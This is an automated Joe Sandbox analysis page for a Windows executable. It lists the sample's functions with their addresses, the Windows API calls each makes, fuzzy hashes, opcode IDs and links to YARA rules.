Instruction Fuzzy Hash: 3A21E523E0D78651EE75AB19D8207779790AF2A7A4FA54271CF4C023ADEE3CD49AC310

Function 00007FF7B67CAEE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7B67CAF67
LoadStringW.USER32 ref: 00007FF7B67CAF80

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction ID: 54411d718a1e22094bb7f4b56c2bfb0d43591fbab46ea19479de3bfed37ff9fa
Opcode Fuzzy Hash: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction Fuzzy Hash: AC118EB0B08A418AE600AF0EAC4056AF7A1BF6EFD0F944475CB4C93328DF3CE5618754

Function 00007FF7B67C4D50 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 00007FF7B67C4DB1
GetLastError.KERNEL32 ref: 00007FF7B67C4DBE

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction ID: eeece1f24902c1aeec8a8c32d4ea6f81fc28a6ff506783010721f45e9b3db7df
Opcode Fuzzy Hash: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction Fuzzy Hash: B6117B22A1864182EB507B19E85037AA760FB6AB74FB44371DB3D566DCDF2CD492C710

Function 00007FF7B67C215C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67CA8AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67CA904
Part of subcall function 00007FF7B67CA8AC: SetDlgItemTextW.USER32 ref: 00007FF7B67CA973
Part of subcall function 00007FF7B67CA8AC: GetWindowRect.USER32 ref: 00007FF7B67CA9AD
Part of subcall function 00007FF7B67CA8AC: GetClientRect.USER32 ref: 00007FF7B67CA9BB

GetDlgItem.USER32 ref: 00007FF7B67C21AC
SetWindowTextW.USER32 ref: 00007FF7B67C21C8

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ItemRectTextWindow$Clientswprintf
String ID:
API String ID: 3322643685-0
Opcode ID: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction ID: cd6f6b39244120fbcacea7af328bbb43ca9ddf3a76dce3260e4c97b863a7dbaa
Opcode Fuzzy Hash: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction Fuzzy Hash: 5E019250A0C28682FE0A775DAC242779392AF6BB50F8800B4CF0D0629DDE2CE985C320

Function 00007FF7B67E5AE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67E5B10

Part of subcall function 00007FF7B67E674C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B67E6755

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67E5B16

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 62452318fc7dfcde2a8969d92c41a5d48a191f134ba85602d2db1b2b9708db7f
Instruction ID: 046259dd065ac362877299057e3f0f814641b81d7fad699dab9e942ab859d6bd
Opcode Fuzzy Hash: 62452318fc7dfcde2a8969d92c41a5d48a191f134ba85602d2db1b2b9708db7f
Instruction Fuzzy Hash: 37E0B608E5910B85F95876691C750B781880F3E370E981BB0DB3E056CFAD2DA49A8270

Function 00007FF7B67F0E1C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF7B67F0E32
GetLastError.KERNEL32 ref: 00007FF7B67F0E44

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 6c19af78ecb99c12c8b97ad79194141d8da1ece1a7cca7b9391e8fefba4d6bd8
Instruction ID: d2249448968687dce59212543fa24240c86a6791fd211a7f5a4b01cc051f961f
Opcode Fuzzy Hash: 6c19af78ecb99c12c8b97ad79194141d8da1ece1a7cca7b9391e8fefba4d6bd8
Instruction Fuzzy Hash: 71E08610E192C342FF087BBA5C3487792D15F7EF41B8444B4CB1D86359DE2C64954620

Function 00007FF7B67C6858 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C6ADF

Part of subcall function 00007FF7B67D0AD0: CompareStringW.KERNEL32 ref: 00007FF7B67D0B36

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: 19fa4a8e4b1c701ff79f09de193f0e6c9bff8c4b1f7545da9f0c168cfcf595ef
Instruction ID: b75a66a43aba262032a2a6b60a0ac2e730aee8f8a5bc75f5b60179be9d11ae2e
Opcode Fuzzy Hash: 19fa4a8e4b1c701ff79f09de193f0e6c9bff8c4b1f7545da9f0c168cfcf595ef
Instruction Fuzzy Hash: BA61C111A0C65740EA60FB1D4CB427FDB919FAEBE4F9481B5DF4E066CDEE2CE4418221

Function 00007FF7B67D4A98 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D4D6D

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 8b13ebe8078a7893edb964da818a22110b42bac7184fc4356cdf3b1b0e6205b0
Instruction ID: b45d2fe8b5d433170fb09e1741be4cb913dcf47f2b18c1d108292ee05581c3c0
Opcode Fuzzy Hash: 8b13ebe8078a7893edb964da818a22110b42bac7184fc4356cdf3b1b0e6205b0
Instruction Fuzzy Hash: D271C5A2F1865285FF00EB6DDC6027EA262BF6A794FE045B1DB1D436DDDE3CA4448220

Function 00007FF7B67D9A70 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D9CF4

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: f8fdaf4cc1676461bc53065d0a5fdd34270f116291ee461240d0c6426eef44a7
Instruction ID: b65e067f7c2c08e6a22e3e23af2d70836177d208855bfef3804d4faf6c46a366
Opcode Fuzzy Hash: f8fdaf4cc1676461bc53065d0a5fdd34270f116291ee461240d0c6426eef44a7
Instruction Fuzzy Hash: 05616A61B0C68281F660BB2CDCA42FBE395EFAA744F804571DB8D426ADDE7CE4848610

Function 00007FF7B67C552C Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C569C

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 54602dd0ec26bd2d79ceeb5ca0cc47b122a19acca21d15c1e6fc8212b5c90648
Instruction ID: 42730ee43bc4f7d365d1fc2a9c1b1d33681fe4b6644c4bd74275ac071a8eb896
Opcode Fuzzy Hash: 54602dd0ec26bd2d79ceeb5ca0cc47b122a19acca21d15c1e6fc8212b5c90648
Instruction Fuzzy Hash: 39411722A08B4540FE10AF1CD96537BA3A1EB6AFE4F840174DB5D076ADEF3ED4508620

Function 00007FF7B67EF2D8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7B67EF300

Part of subcall function 00007FF7B67EF490: GetModuleHandleExW.KERNEL32 ref: 00007FF7B67EF4B0
Part of subcall function 00007FF7B67EF490: GetProcAddress.KERNEL32 ref: 00007FF7B67EF4C6
Part of subcall function 00007FF7B67EF490: FreeLibrary.KERNEL32 ref: 00007FF7B67EF4EB

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 4a2f43bead39ce058c557f5b4fc102bf9ea9cb7a759dd16a39b16621d9c8bbb2
Instruction ID: 60cd919cc02b5192d3ea2102fce7062a370c9343db3eab9c2e8a3617ff2cb4df
Opcode Fuzzy Hash: 4a2f43bead39ce058c557f5b4fc102bf9ea9cb7a759dd16a39b16621d9c8bbb2
Instruction Fuzzy Hash: 4C41E615E1964382FB14BB2CDD7023AA255AF7A744FC440BADB0D47A99DE3CE84887A0

Function 00007FF7B67D4EE4 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C6288: FindClose.KERNEL32(?,?,?,00007FF7B67CFFA5), ref: 00007FF7B67C62BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D5023

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 832133cb92dbc69605d5a804f8b369eae403bde4b91c8dcde64425d74d549357
Instruction ID: 9740aa5e3b232268ecec99d77065d3c8cb05ac5ddd51fc30fd936e6e3d7ce1a2
Opcode Fuzzy Hash: 832133cb92dbc69605d5a804f8b369eae403bde4b91c8dcde64425d74d549357
Instruction Fuzzy Hash: 03319062B1878681FA10AB1DE86036BE391BFAA7D0F940575DB9D07BADCF3DE4008710

Function 00007FF7B67F46DC Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F4710

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0a039c216fd43f6ed93c381b723f8e0e858f96ef93bc530090e045798fe727a
Instruction ID: 3500fac7dccaef8681c9286b23f881338283ff2b480d0d4718ed5fb6dea66d43
Opcode Fuzzy Hash: d0a039c216fd43f6ed93c381b723f8e0e858f96ef93bc530090e045798fe727a
Instruction Fuzzy Hash: E611512691D68283F610AB189C9197AA295FB6A384FE40174E75D4769EDF2CE4108B30

Function 00007FF7B67E376C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67E2BF4: GetDlgItem.USER32 ref: 00007FF7B67E2C33
Part of subcall function 00007FF7B67E2BF4: ShowWindow.USER32 ref: 00007FF7B67E2C59
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2C6E
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2C86
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2CA7
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2CC3
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2D06
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2D24
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2D38
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2D62
Part of subcall function 00007FF7B67E2BF4: SendMessageW.USER32 ref: 00007FF7B67E2D7A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E3807

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: MessageSend$ItemShowWindow_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1587882848-0
Opcode ID: 7aa9954021812c40c42d0ef8cd8312798d797a0cb4f16a1eff3196d49ba69e65
Instruction ID: 109247d3cf888d476d2669afd1e229c2326b2ed76bcaf079a7c75417faf07340
Opcode Fuzzy Hash: 7aa9954021812c40c42d0ef8cd8312798d797a0cb4f16a1eff3196d49ba69e65
Instruction Fuzzy Hash: E101CC56B2468582F910B728D86636FA351EF9E7A4F800375E79C4A6DDDE3CD0448610

Function 00007FF7B67C6288 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C647C: FindFirstFileW.KERNEL32 ref: 00007FF7B67C64CB
Part of subcall function 00007FF7B67C647C: FindFirstFileW.KERNEL32 ref: 00007FF7B67C651E
Part of subcall function 00007FF7B67C647C: GetLastError.KERNEL32 ref: 00007FF7B67C656F

FindClose.KERNEL32(?,?,?,00007FF7B67CFFA5), ref: 00007FF7B67C62BD

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction ID: 53872ab7a8d9cdf6a1a28b418d968f7acf2f3d3e2db1a951f0173087e036f24c
Opcode Fuzzy Hash: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction Fuzzy Hash: 91F0A46290828145EA10FB79996417ABB609F3FBB4F5503B5DB7D072CFCE28D454C724

Function 00007FF7B67D00F0 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32 ref: 00007FF7B67E3AAA

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 39a766f13ec939f6e1c3257cb9b2c56e534004cb78ff04812ec539a8ae924e80
Instruction ID: 12a0fcde19e9a6e911eabf05792c50596baf50ea952470b0e79ecc2f97171ccd
Opcode Fuzzy Hash: 39a766f13ec939f6e1c3257cb9b2c56e534004cb78ff04812ec539a8ae924e80
Instruction Fuzzy Hash: 85D05B91F1924142E610B3159C2D73793116F77784F900174DB4D1A799CD2CD1668654

Function 00007FF7B67C8CF8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 00007FF7B67C8D06

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: b7b94b84bc736c81f561ac6a0213732948c79a519d47e0e60c8097fcab4ddeb2
Instruction ID: e74cf74b15e4fc85c928b6962b627e1e8c71509cac9860d85acb74b2f2b168e7
Opcode Fuzzy Hash: b7b94b84bc736c81f561ac6a0213732948c79a519d47e0e60c8097fcab4ddeb2
Instruction Fuzzy Hash: 57C08C20F11602C2DA086B2ADCA911913A0BB7EF04FF080B5C30C81160DE2CC8AA8710

Function 00007FF7B67C4E00 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32 ref: 00007FF7B67C4E08

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction ID: 08bfacd6d2f0f4aeaa9e97669553c22bb81774f76119aff1a2fb066ffeaaec9a
Opcode Fuzzy Hash: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction Fuzzy Hash: 48B09210B16581C2D6046B26DC929195324ABA9F01BD84460C60D91220CE1CC8EB9B00

Function 00007FF7B67F2E94 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF7B67F2EE9

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

